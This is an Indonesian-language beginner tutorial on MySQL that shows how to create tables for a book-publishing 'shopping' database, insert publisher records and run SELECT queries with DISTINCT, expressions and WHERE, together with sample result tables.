<p>Prompt mysql&gt; merupakan tempat anda memasukkan perintah-perintah MySQL yang akan kita pelajari sebentar lagi. Setiap perintah SQL pada MySQL harus diakhiri dengan tanda titik-koma (;). Untuk keluar dari prompt mysql&gt; gunakan perintah <strong>quit</strong>.</p>
<p>Pada prompt mysql ketikkan perintah-perintah untuk membuat tabel <strong>publishers</strong>, sebagai berikut</p>
<pre style="border: 1px solid #cecece; padding: 5px; overflow: auto; background-color: #fbfbfb; min-height: 40px; width: 500px;">
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">mysql&gt; create table publishers (</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">-&gt; pub_id <span style="color: #0000ff">int</span>,</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">-&gt; pub_name <span style="color: #0000ff">char</span>(20),</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">-&gt; city <span style="color: #0000ff">char</span>(10),</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">-&gt; state <span style="color: #0000ff">char</span>(10)</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">-&gt; );</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">Query OK, 0 rows affected (0.06 sec)</pre>
</pre>
<p>Setelah itu, pada database shopping akan terdapat tabel <strong>publishers</strong> yang belum terisi data.</p>
<h2><a name="_Toc466784036">Latihan</a></h2>
<p>Buat tabel – tabel di bawah ini pada database shopping.</p>
<p>Tabel 3 Struktur tabel authors</p>
<table border="1" cellspacing="0" cellpadding="0" width="500">
<tbody>
<tr>
<td width="110" valign="top"><strong>Field</strong></td>
<td width="96" valign="top"><strong>Type</strong></td>
<td width="102" valign="top"><strong>Panjang</strong></td>
<td width="190" valign="top"><strong>Keterangan</strong></td>
</tr>
<tr>
<td width="110" valign="top">au_id</td>
<td width="96" valign="top">integer</td>
<td width="102" valign="top"></td>
<td width="190" valign="top">Nomor identifikasi penulis buku</td>
</tr>
<tr>
<td width="110" valign="top">au_fname</td>
<td width="96" valign="top">char</td>
<td width="102" valign="top">20</td>
<td width="190" valign="top">First name penulis</td>
</tr>
<tr>
<td width="110" valign="top">au_lname</td>
<td width="96" valign="top">char</td>
<td width="102" valign="top">20</td>
<td width="190" valign="top">Last Name penulis</td>
</tr>
<tr>
<td width="110" valign="top">city</td>
<td width="96" valign="top">char</td>
<td width="102" valign="top">10</td>
<td width="190" valign="top">Berisi nama kota tempat penerbit berada</td>
</tr>
<tr>
<td width="110" valign="top">state</td>
<td width="102" valign="top">char</td>
<td width="117" valign="top">10</td>
<td width="249" valign="top">Nama provinsi tempat penerbit berada</td>
</tr>
</tbody>
</table>
<p>Tabel 4 Struktur tabel titles</p>
<table border="1" cellspacing="0" cellpadding="0" width="499">
<tbody>
<tr>
<td width="108" valign="top"><strong>Field</strong></td>
<td width="96" valign="top"><strong>Type</strong></td>
<td width="102" valign="top"><strong>Panjang</strong></td>
<td width="191" valign="top"><strong>Keterangan</strong></td>
</tr>
<tr>
<td width="108" valign="top">title_id</td>
<td width="96" valign="top">char</td>
<td width="102" valign="top">6</td>
<td width="191" valign="top">Identifikasi judul buku, primary key</td>
</tr>
<tr>
<td width="108" valign="top">title</td>
<td width="96" valign="top">char</td>
<td width="102" valign="top">80</td>
<td width="191" valign="top">Judul buku</td>
</tr>
<tr>
<td width="108" valign="top">type</td>
<td width="96" valign="top">char</td>
<td width="102" valign="top">15</td>
<td width="191" valign="top">Jenis kategori buku</td>
</tr>
<tr>
<td width="108" valign="top">pub_id</td>
<td width="96" valign="top">char</td>
<td width="102" valign="top">3</td>
<td width="191" valign="top">Identifikasi penerbit, foreign key ke tabel publishers</td>
</tr>
<tr>
<td width="108" valign="top">price</td>
<td width="96" valign="top">integer</td>
<td width="102" valign="top"></td>
<td width="191" valign="top">Harga judul buku ini</td>
</tr>
<tr>
<td width="108" valign="top">advance</td>
<td width="96" valign="top">integer</td>
<td width="102" valign="top"></td>
<td width="191" valign="top"></td>
</tr>
<tr>
<td width="108" valign="top">royalty</td>
<td width="96" valign="top">integer</td>
<td width="102" valign="top"></td>
<td width="191" valign="top">Royalti</td>
</tr>
<tr>
<td width="108" valign="top">ytd_sales</td>
<td width="96" valign="top">integer</td>
<td width="102" valign="top"></td>
<td width="191" valign="top"></td>
</tr>
<tr>
<td width="108" valign="top">notes</td>
<td width="96" valign="top">char</td>
<td width="102" valign="top">200</td>
<td width="191" valign="top">Catatan tentang judul ini</td>
</tr>
<tr>
<td width="108" valign="top">pubdate</td>
<td width="103" valign="top">int</td>
<td width="117" valign="top"></td>
<td width="250" valign="top">Tahun penerbitan</td>
</tr>
</tbody>
</table>
<h2><a name="_Toc466784037">Insert Query</a></h2>
<p>Untuk mengisi data pada suatu tabel, gunakan perintah SQL INSERT. Syntaksnya adalah:</p>
<p>INSERT INTO nama-tabel (kolom1,kolom2, …) VALUES (nilai1, nilai2, …);</p>
<p>Contohnya jika anda ingin mengisi tabel <strong>publishers</strong> dengan data sebagai berikut:</p>
<ul>
<li>Nomor kode; 1</li>
<li>Nama penerbit: Gramedia</li>
<li>Kota : Jakarta</li>
<li>State: Indonesia</li>
</ul>
<p>Maka perintah SQL INSERT yang harus anda ketikkan adalah sebagai berikut:</p>
<pre style="border: 1px solid #cecece; padding: 5px; overflow: auto; background-color: #fbfbfb; min-height: 40px; width: 500px;">
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">mysql&gt; INSERT INTO publishers (pub_id, pub_name, city, state)</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">-&gt; VALUES</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">-&gt; (1, ‘Gramedia’, ‘Jakarta’, ‘Indonesia’);</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">Query OK, 1 row affected (0.01 sec)</pre>
</pre>
<p>Selain melalui prompt mysql, anda dapat juga mengisi data pada database melalui file yang telah berisi data, tentunya dalam format syntaks SQL yang benar. Contohnya, buat file dengan nama PUBLISHER.SQL dengan ini sebagai berikut:</p>
<pre style="border: 1px solid #cecece; padding: 5px; overflow: auto; background-color: #fbfbfb; min-height: 40px; width: 500px;">
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">INSERT INTO publishers VALUES ('100','Addison-Wesley','MA','USA');</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">INSERT INTO publishers VALUES ('101','BANTAM BOOK','MA','USA');</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">INSERT INTO publishers VALUES ('102','Harper Business','MA','USA');</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">INSERT INTO publishers VALUES ('103','Hewlett Packard','MA','USA');</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">INSERT INTO publishers VALUES ('104','John Wiley &amp; Sons, Inc','MA','USA');</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">INSERT INTO publishers VALUES ('105','Macmillan Publishing Company','MA','USA');</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">INSERT INTO publishers VALUES ('106','McGraw Hill','MA','USA');</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">INSERT INTO publishers VALUES ('107','O\'Reilly &amp; Associates, inc','MA','USA');</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">INSERT INTO publishers VALUES ('108','Osborne McGraw-Hill','MA','USA');</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">INSERT INTO publishers VALUES ('109','Prentice Hall','MA','USA');</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">INSERT INTO publishers VALUES ('110','Sams','MA','USA');</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">INSERT INTO publishers VALUES ('111','Wiley','MA','USA');</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">INSERT INTO publishers VALUES ('112','Microsoft','MA','USA');</pre>
</pre>
<p>Lalu , dari prompt Linux, ketikkan perintah:</p>
<pre style="border: 1px solid #cecece; padding: 5px; overflow: auto; background-color: #fbfbfb; min-height: 40px; width: 500px;">
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;"># mysql shopping &lt; PUBLISHERS.SQL</pre>
</pre>
<p>Perhatikan bahwa pada sintaks INSERT, untuk semua field yang bertype char, data yang dimasukkan harus diapit oleh tanda petik ‘’, sedangkan untuk type integer tidak.</p>
<h3><a name="_Toc466784038">Latihan</a></h3>
<ul>
<li>Isikan data pada tabel <strong>authors</strong> dan <strong>titles</strong> dengan file AUTHORS.SQL dan TITLES.SQL yang dapat anda download dari alamat <a href="ftp://instruktur.wahid.com/pub/Training/linux-ecommerce">sini</a>.</li>
</ul>
<h2><a name="_Toc466784039">Menggunakan Query SELECT</a></h2>
<p>Perintah SELECT digunakan untuk melihat data dari satu atau beberapa tabel. Syntasknya secara sederhana adalah:</p>
<blockquote><p>SELECT kolom-kolom</p>
<p>FROM nama-tabel</p></blockquote>
<h3>Menampilkan kolom tertentu</h3>
<p>Misalnya, untuk melihat nama-nama pengarang buku yang terdapat pada tabel authors, dapat anda gunakan perintah:</p>
<pre style="border: 1px solid #cecece; padding: 5px; overflow: auto; background-color: #fbfbfb; min-height: 40px; width: 500px;">
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">SELECT au_lname, au_fname</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">FROM authors</pre>
</pre>
<p>Hasilnya akan terlihat daftar nama yang tediri dari dua kolom , masing-masing au_lname dan au_fname, seperti berikut ini:</p>
<pre style="border: 1px solid #cecece; padding: 5px; overflow: auto; background-color: #fbfbfb; min-height: 40px; width: 500px;">
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">+------------+----------+</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| au_lname   | au_fname |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">+------------+----------+</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| Purbo      | Onno     |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| Daniel     | Akhmad   |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| Arif       | Aulia    |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| Nursasono  | Rudi     |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">+------------+----------+</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">8 rows in set (0.00 sec)</pre>
</pre>
<h3>Ekspression pada query</h3>
<p>Tampilan kolom hasil query dapat kita modifikasi sehingga mengeluarkan informasi yang kita butuhkan. Misalnya untuk menampilkan harga discount dari harga normal pada tabel title, anda dapat menggunakan:</p>
<pre style="border: 1px solid #cecece; padding: 5px; overflow: auto; background-color: #fbfbfb; min-height: 40px; width: 500px;">
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">SELECT title_id, type, price , price * 0.1</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">FROM titles</pre>
</pre>
<p>Hasilnya adalah kolom-kolom nomor buku, jenis buku, harga, dan harga discount yang merupakan perkalian harga dengan 0.1.</p>
<pre style="border: 1px solid #cecece; padding: 5px; overflow: auto; background-color: #fbfbfb; min-height: 40px; width: 500px;">
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">+----------+----------------------+-------+-------------+</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| title_id | type                 | price | price * .1  |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">+----------+----------------------+-------+-------------+</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">...</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| PR2807   | PROGRAMMING          | 4     | 0.4         |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| IN7709   | INTERNET             | 65    | 6.5         |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| UN6462   | UNIX                 | 18    | 1.8         |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| CO0175   | COMMUNICATION        | 97    | 9.7         |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| IN2467   | INTERNET             | 28    | 2.8         |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| IN9823   | INTERNET             | 49    | 4.9         |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| IN8724   | INTERNET             | 62    | 6.2         |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| MA5142   | MARKETING            | 64    | 6.4         |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| UN9539   | UNIX                 | 35    | 3.5         |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| IN9247   | INTERNET             | 83    | 8.3         |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| UN1623   | UNIX                 | 10    | 1.0         |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| NE5367   | NETWORKING           | 2     | 0.2         |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| UN2956   | UNIX                 | 77    | 7.7         |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| MA8688   | MARKETING            | 80    | 8.0         |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| IN3551   | INFOSYS              | 71    | 7.1         |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| UN9725   | UNIX                 | 13    | 1.3         |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| PR6948   | PROGRAMMING          | 55    | 5.5         |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">+----------+----------------------+-------+-------------+</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">174 rows in set (0.02 sec)</pre>
</pre>
<h3>Distinct</h3>
<p>Keyword DISTINCT dapat anda gunakan untuk menghilangkan record-record yang duplikasi. Misalnya jalankan query berikut ini.</p>
<pre style="border: 1px solid #cecece; padding: 5px; overflow: auto; background-color: #fbfbfb; min-height: 40px; width: 500px;">
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">SELECT type FROM titles</pre>
</pre>
<p>Hasilnya</p>
<pre style="border: 1px solid #cecece; padding: 5px; overflow: auto; background-color: #fbfbfb; min-height: 40px; width: 500px;">
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">+----------------------+</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| type                 |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">+----------------------+</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">...</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| INTERNET             |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| MARKETING            |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| UNIX                 |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| INTERNET             |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| UNIX                 |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| NETWORKING           |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| UNIX                 |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| MARKETING            |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| INFOSYS              |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| UNIX                 |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| PROGRAMMING          |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">+----------------------+</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">174 rows in set (0.02 sec)</pre>
</pre>
<p>Pada contoh di atas, jika ingin menampilkan kolom type yang tidak duplikasi, maka perintah querynya adalah sebagai berikut</p>
<pre style="border: 1px solid #cecece; padding: 5px; overflow: auto; background-color: #fbfbfb; min-height: 40px; width: 500px;">
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">SELECT DISTINCT type FROM titles</pre>
</pre>
<p>dan hasilnya adalah sebagai berikut</p>
<pre style="border: 1px solid #cecece; padding: 5px; overflow: auto; background-color: #fbfbfb; min-height: 40px; width: 500px;">
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">+----------------------+</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| type |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">+----------------------+</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">...</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| DATABASE |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| ELECTRONICS |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| ENVIRONMENT |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| FINANCE |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| INFOSYS |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| INTERNET |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| INVESTMENT |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| MANAGEMENT |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| MARKETING |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| MISC |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| NETWORKING |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| PROGRAMMING |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| QUALITY ASSURANCE |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| SOFTWARE |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| UNIX |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| USER'S MANUAL |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">+----------------------+</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">18 rows in set (0.02 sec)</pre>
</pre>
<p>Jika ada lebih dari satu kolom, maka keyword DISTINCT hanya akan menghilangkan record yang seluruh kolomnya sama.</p>
<h3>SELECT *</h3>
<p>Untuk melihat seluruh isi kolom dari suatu tabel anda dapat menggunakan query SELECT *. Contohnya :</p>
<pre style="border: 1px solid #cecece; padding: 5px; overflow: auto; background-color: #fbfbfb; min-height: 40px; width: 500px;">
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">SELECT * FROM authors</pre>
</pre>
<p>Hasilnya adalah</p>
<pre style="border: 1px solid #cecece; padding: 5px; overflow: auto; background-color: #fbfbfb; min-height: 40px; width: 500px;">
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">+-------+------------+----------+----------+-----------+</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| au_id | au_lname   | au_fname | city     | state     |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">+-------+------------+----------+----------+-----------+</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| 1     | White      | Johnson  | US       | CA        |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| 2     | Purbo      | Onno     | Bandung  | Indonesia |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| 3     | Daniel     | Akhmad   | Bandung  | Indonesia |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| 4     | Zamfarra   | Zilmy    | Bandung  | Indonesia |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| 5     | Arif       | Aulia    | Bandung  | Indonesia |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| 5     | Suhardiman | Basuki   | Surabaya | Indonesia |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| 6     | Straight   | Dean     | MA       | USA       |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| 7     | Nursasono  | Rudi     | Jakarta  | Indonesia |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">+-------+------------+----------+----------+-----------+</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">8 rows in set (0.04 sec)</pre>
</pre>
<h3><a name="_Toc466784040">Mem-filter hasil query dengan where</a></h3>
<p>Anda dapat membatasi hasil query dengan keyword WHERE sehingga record-record yang dikeluarkan hanyalah record yang sesuai dengan kriteria yang anda inginkan. Misalnya jika anda ingin menampilkan seluruh judul buku yang berharga di bawah 10, maka querynya adalah</p>
<pre style="border: 1px solid #cecece; padding: 5px; overflow: auto; background-color: #fbfbfb; min-height: 40px; width: 500px;">
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">SELECT title, price</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">FROM titles</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">WHERE price &lt; 3</pre>
</pre>
<p>Hasilnya adalah</p>
<pre style="border: 1px solid #cecece; padding: 5px; overflow: auto; background-color: #fbfbfb; min-height: 40px; width: 500px;">
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">+----------------------------------------------------+-------+</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| title                                              | price |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">+----------------------------------------------------+-------+</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| CPU 16                                             | 1     |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| Understanding DCE                                  | 1     |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| 15th Arrl andTapr Digital Communications Conferenc | 2     |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">| TCP/IP Netwrok Administrator                       | 2     |</pre>
<pre style="margin: 0em; background-color: #fbfbfb; width: 100%; font-family: consolas,'Courier New',courier,monospace; font-size: 12px;">+----------------------------------------------------+-------+</pre>
